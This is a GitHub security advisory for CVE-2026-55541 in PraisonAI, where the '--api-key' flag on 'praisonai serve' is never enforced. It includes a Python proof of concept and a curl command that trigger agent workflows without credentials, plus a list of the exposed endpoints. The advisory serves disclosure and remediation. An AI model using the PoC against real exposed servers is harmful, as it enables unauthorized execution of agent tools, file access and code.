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PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced

High severity GitHub Reviewed Published Jun 13, 2026 in MervinPraison/PraisonAI • Updated Aug 25, 2026

Package

pip PraisonAI (pip)

Affected versions

< 4.6.58

Patched versions

4.6.58

Description

Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

  • Confirmed on 4.6.50 (current PyPI, 2026-06-02)
  • Likely since 4.6.34 when the serve subsystem shipped
  • File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

Endpoints exposed without auth

  • POST /agents — runs the full agent workflow
  • POST /agents/{name} — invokes a specific agent
  • POST /api/v1/agents/{id}/invoke — n8n integration endpoint
  • GET / — lists all endpoints
  • GET /__praisonai__/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

Output

No auth header → 200
Wrong key      → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Jun 13, 2026
Published to the GitHub Advisory Database Aug 25, 2026
Reviewed Aug 25, 2026
Last updated Aug 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(40th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-55541

GHSA ID

GHSA-pvxx-r596-f5qj

Source code

Credits

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